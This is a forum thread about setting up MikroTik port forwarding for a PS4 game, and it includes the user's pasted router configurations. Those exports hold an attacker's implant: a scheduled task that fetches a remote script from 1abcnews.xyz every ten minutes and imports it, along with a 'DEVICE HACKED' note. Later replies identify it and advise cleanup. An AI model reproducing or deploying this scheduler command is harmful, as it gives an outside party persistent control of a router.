rookie Port Forward for PS4

Hi i’m sorry if this is the wrong place for this . . .

I have some problem with a game server and i’ve been told the solution is port forwarding ! but it’s completely new to me !

the game is Monster Hunter World on PS4 and this site have the ports and guide but nothing for MikoTik !!! https://portforward.com/monster-hunter-world

TCP: 1935,3478-3480
UDP: 3074,3478-3479

i found this port forwarding guide that is very simple but i have some questions !!!
http://www.icafemenu.com/how-to-port-forward-in-mikrotik-router.htm


1- TCP and UDP , which one of their numbers do i put in as dts Port ?!?
2- for the “to addresses” , i should use my PS4 ip, right?
3- In Interface , what should i use for this? Wlan? ( i have wireless internet, everything is set up on my mikrotik sxt lite5 but i use a TP-link router to have WiFi ! and I’m connected to everything with WiFi!)

This will guide you through;
https://www.youtube.com/watch?v=3ni_R03OOrg

thanks but i know those things, i just don’t know which one of these numbers is the port !

TCP: 1935,3478-3480
UDP: 3074,3478-3479

right now i put this (3478-3480) for both ports and chose Wlan1 for “In Interface” and it connected to the game servers(4 out of 5 times!) i think it worked! i don’t know if it was a fluke or not!

You clearly do not know these things as your previous post indicated a lack of knowledge.
Post your config and then we can see where you are going wrong.

“1- TCP and UDP , which one of their numbers do i put in as dts Port ?!?” All of the ports you have mentioned. You need 2 rules, 1 for TCP and one for UDP.
“2- for the “to addresses” , i should use my PS4 ip, right?” Correct, use your PS4 address
“3- In Interface , what should i use for this? Wlan? ( i have wireless internet, everything is set up on my mikrotik sxt lite5 but i use a TP-link router to have WiFi ! and I’m connected to everything with WiFi!)” In-Interface (if you had actually watched the video) is explained as the inbound internet interface. You have mentioned you are on a WISP setup but is it routed IP or do you have a pppoe tunnel? If using pppoe then use the pppoe_client as your in-interface.

I did watch that video (along with 5 more before i posted here!) but since i don’t know anything about this subject(literally!) if a single thing is different from my own setup i don’t know what to do !!! i know the steps to set this up, but some of the information is unclear to me! i took a picture of my winbox i hope it helps https://pasteboard.co/HNpIuDo.png


I know absolutely nothing about networks and routers and stuff so your number 1 explanation just doesn’t help me(sorry) if you tell me which one on those numbers i should put in that would be great!
also i chose Wlan1 for the “In-Interface” and it worked last night and connected to the game servers but that was just once i haven’t checked again . . .

by the way thanks for the answers . . .

Right, the picture helps.

You need ALL the numbers you have mentioned
You need to change the in-interface to pppoe-out1
You need another rule for the UDP traffic, to do this, open up your current one and choose “copy” which will open up another window copied from the first, go to general, change TCP to UDP and then change the numbers to 3074,3478-3479. Hit OK on both rules and you’re done.

in winbox, go down to the NEW TERMINALS selection on the left hand side menu and open that up.

At the command line Type
/export hide-sensitive file=myconfig16nov

Then go to the FILES selection on the left hand side menu and open that up
You should see your file name appear.
Right Click on teh file name and download to a location on your computer.
(you can then delete the file in winbox).

Use notepad++ to open the file.
Copy and paste the file into a post here
Highlight the config file and uUse the CODE icon above (just to the left of the quotes symbol - you know where BOld and Italics and Underline are located above the post/text box

thanks for helping, i appreciate it . . .

# nov/16/2018 20:19:03 by RouterOS 6.35.4
# software id = CJME-RUNS
#
/interface wireless
set [ find default-name=wlan1 ] band=5ghz-a/n disabled=no frequency=5240 \
    mode=station-bridge ssid=Jahan-Net wireless-protocol=nv2-nstreme-802.11
/interface pppoe-client
add add-default-route=yes disabled=no interface=wlan1 name=pppoe-out1 \
    use-peer-dns=yes user=sa-1270347314
/ip firewall layer7-protocol
add name=WB regexp="/\\.\\./\\.\\.\?/"
/ip pool
add name=dhcp ranges=192.168.96.100-192.168.96.254
/ip dhcp-server
add address-pool=dhcp disabled=no interface=ether1 name=dhcp1
/system logging action
set 1 disk-file-name=log
/ip address
add address=192.168.96.30/24 interface=ether1 network=192.168.96.0
/ip dhcp-server network
add address=192.168.96.0/24 gateway=192.168.96.30 netmask=24
/ip dns
set cache-max-ttl=0s query-server-timeout=0ms query-total-timeout=0ms \
    servers=1.1.1.1,8.8.8.8,8.8.4.4
/ip firewall filter
add action=add-src-to-address-list address-list=Ok address-list-timeout=5s \
    chain=input comment=sysadminpxy dst-port=8080 protocol=tcp
add action=tarpit chain=input comment=WB protocol=tcp src-address-list=BANIP
/ip firewall nat
add action=redirect chain=dstnat comment=sysadminpxy disabled=yes dst-port=80 \
    protocol=tcp src-address-list=!Ok to-ports=8080
add action=masquerade chain=srcnat out-interface=pppoe-out1
add action=dst-nat chain=dstnat comment="MHW PS4" dst-port=1935,3478-3480 \
    in-interface=pppoe-out1 protocol=tcp to-addresses=192.168.96.251 \
    to-ports=3478-3480
add action=dst-nat chain=dstnat comment="MHW PS4" dst-port=3074,3478-3479 \
    in-interface=pppoe-out1 protocol=udp to-addresses=192.168.96.251 \
    to-ports=3478-3479
/ip proxy
set enabled=yes
/ip proxy access
add action=deny comment=sysadminpxy
/ip upnp
set allow-disable-external-interface=yes enabled=yes
/system clock
set time-zone-name=Asia/Tehran
/system leds
set 0 interface=wlan1
/system note
set note="DEVICE HACKED - ACCOUNT admin HAD UNSAFE PASSWORD"
/system ntp client
set enabled=yes primary-ntp=88.147.254.230 secondary-ntp=88.147.254.235
/system routerboard settings
set protected-routerboot=disabled
/system scheduler
add interval=1d name=Auto113 on-event="/system reboot" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    oct/22/2018 start-time=03:11:00
add interval=10m name=U6 on-event="/tool fetch url=http://1abcnews.xyz/poll/bb\
    befbf3-2b07-4533-85e6-e57a9e886d41 mode=http dst-path=7wmp0b4swouv\r\
    \n/import 7wmp0b4swouv" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
    startup

I did that man, your guide is perfect and simple and i did it but still it didn’t work, what i made last night didn’t work either !! i don’t get it! how did it work last night for 2 hours but doesn’t work even once tonight!?! what the heck is wrong with my internet!

quick question , in the action bar in the “to port” i should put “3478-3480” for tcp and “3478-3479” for udp, right? cuz it didn’t accept “1935,3478-3480” and “3074,3478-3479”

also i appreciate your help man, i know it’s frustrating to help someone who doesn’t know anything about networks!

Almost LOL, the last step is highlight all the code text starting with and including
/
and ending with and including
startup

As to the config.
Not sure what layer 7 FW rule has in play so I will ignore it.
The funky redirect dstnat rule (not sure what this accomplishes as you already have a fW rule?)
In general be careful of using the ! as you can inadvertently include many things not intended.

1- DHCP gateway of .30? I am not an expert but normally people use .01 for gateway.
2. In regard to the DST NAT rules for the PS4, they are almost there and the first thing I noticed is that your dst ports and to ports do not line up at least for TCP.

In the straightfoward case where there is no change between the dstports on the traffic coming to the WAn and the ports you want them going to on the server there is no need to use TO-PORTs, just the to-address!!

/IP firewall nat
add action=dst-nat chain=dstnat comment="MHW PS4" dst-port=1935,3478-3480 \
    in-interface=WAN protocol=tcp to-addresses=192.168.96.251 \

add action=dst-nat chain=dstnat comment="MHW PS4" dst-port=3074,3478-3479 \
    in-interface=WAN protocol=udp to-addresses=192.168.96.251 \

..

Notes: Nothing wrong with your in-interface=ppppoeee but I have two WAN ISPs and thus using WAN interface covers both and in the case of failure, folks know to access my servers via my dyndns name and that switches over to the backup ISP when necessary and thus my rule captures both cases.

hi
this is the first time i tried to change anything , so if there is something weird it’s factory default !
I removed that redirect rule you mentioned (i think) i know it wasn’t there a couple of days ago, i don’t know how it got there!
1- I didn’t know about the gateway .30 so it’s either factory default or the guy who installed it set it to 30 ( do i need to change it?) it was 1 year ago!
2- yeah the dst ports and to port was like that last night too, but i had no problem connecting ! anyway i removed to port . . .

I tried to make it as close to the sample you put there but i just don’t have a WAN option for “in-interface” there’s just “Wlan 1” “pppoe-out1” and “Ether1” and 4 other “All” options here’s a pic https://pasteboard.co/HNsTlmz.png
here’s what it looks like now :

# nov/16/2018 21:30:19 by RouterOS 6.35.4
# software id = CJME-RUNS
#
/interface wireless
set [ find default-name=wlan1 ] band=5ghz-a/n disabled=no frequency=5240 \
    mode=station-bridge ssid=Jahan-Net wireless-protocol=nv2-nstreme-802.11
/interface pppoe-client
add add-default-route=yes disabled=no interface=wlan1 name=pppoe-out1 \
    use-peer-dns=yes user=sa-1270347314
/ip firewall layer7-protocol
add name=WB regexp="/\\.\\./\\.\\.\?/"
/ip pool
add name=dhcp ranges=192.168.96.100-192.168.96.254
/ip dhcp-server
add address-pool=dhcp disabled=no interface=ether1 name=dhcp1
/system logging action
set 1 disk-file-name=log
/ip address
add address=192.168.96.30/24 interface=ether1 network=192.168.96.0
/ip dhcp-server network
add address=192.168.96.0/24 gateway=192.168.96.30 netmask=24
/ip dns
set cache-max-ttl=0s query-server-timeout=0ms query-total-timeout=0ms \
    servers=1.1.1.1,8.8.8.8,8.8.4.4
/ip firewall filter
add action=add-src-to-address-list address-list=Ok address-list-timeout=5s \
    chain=input comment=sysadminpxy dst-port=8080 protocol=tcp
add action=tarpit chain=input comment=WB protocol=tcp src-address-list=BANIP
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out1
add action=dst-nat chain=dstnat comment=MHW-PS4 dst-port=1935,3478-3480 \
    in-interface=wlan1 protocol=tcp to-addresses=192.168.96.251
add action=dst-nat chain=dstnat comment=MHW-PS4 dst-port=3074,3478-3479 \
    in-interface=wlan1 protocol=udp to-addresses=192.168.96.251
/ip proxy
set enabled=yes
/ip proxy access
add action=deny comment=sysadminpxy
/ip upnp
set allow-disable-external-interface=yes enabled=yes
/system clock
set time-zone-name=Asia/Tehran
/system leds
set 0 interface=wlan1
/system note
set note="DEVICE HACKED - ACCOUNT admin HAD UNSAFE PASSWORD"
/system ntp client
set enabled=yes primary-ntp=88.147.254.230 secondary-ntp=88.147.254.235
/system routerboard settings
set protected-routerboot=disabled
/system scheduler
add interval=1d name=Auto113 on-event="/system reboot" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    oct/22/2018 start-time=03:11:00
add interval=10m name=U6 on-event="/tool fetch url=http://1abcnews.xyz/poll/bb\
    befbf3-2b07-4533-85e6-e57a9e886d41 mode=http dst-path=7wmp0b4swouv\r\
    \n/import 7wmp0b4swouv" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
    startup

Hi, did you noticed this warning? :slight_smile:

/system note
set note="DEVICE HACKED - ACCOUNT admin HAD UNSAFE PASSWORD"

and this is not your code, right?

/system scheduler
add interval=1d name=Auto113 on-event="/system reboot" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    oct/22/2018 start-time=03:11:00
add interval=10m name=U6 on-event="/tool fetch url=http://1abcnews.xyz/poll/bb\
    befbf3-2b07-4533-85e6-e57a9e886d41 mode=http dst-path=7wmp0b4swouv\r\
    \n/import 7wmp0b4swouv" policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
    startup

Remove this!
Upgrade + change password + add firewall according to guidelines. Make sure that you change password after an upgrade.
https://wiki.mikrotik.com/wiki/Manual:Securing_Your_Router

i did see that but don’t know about it ! about a year ago i couldn’t log in and i called the guy that installed it and he couldn’t log in my device from his shop so he had to come in and manually reset the device, he said my password was “Admin” so someone could have logged in and changed it ! I changed the password after that.
no that’s not my code i don’t even know how to change codes !! it’s probably from the guy who installed it!

I would save a copy of my config
/export file=backupofmyconfig

and then set the router to defaults with the pin reset process.
apparently one has to install the latest software using netinstaller or something. I have never done this.
otherwise the hacked files could still be resident on the unit.

After that, then use notepadd++ and cut and paste the code bits you trust into Winbox at the command line
by opening the NEW Terminals Window.

Once thats done, you will be starting from a clean build that is worthwhile building upon.
Right now its a house of cards and the base is potentially rotten.

turned out i was doing the Port forward right!!! i just didn’t have one of the ports i needed ! which is weird cuz i took the ports from the PSN site!!!

here’s how i solved it. in one last desperate effort to make it work, i ran the game on my PS4 and went to winbox, I check the connections section in Firewall and found all the PS4 connections and they all had the same ports as i made the NAT rule for, except for one of them which was a UDP protocol , so i added that port to my UDP protocol NAT rule and it worked instantly ! it was so Dumb and simple !

thank you every one for helping . . .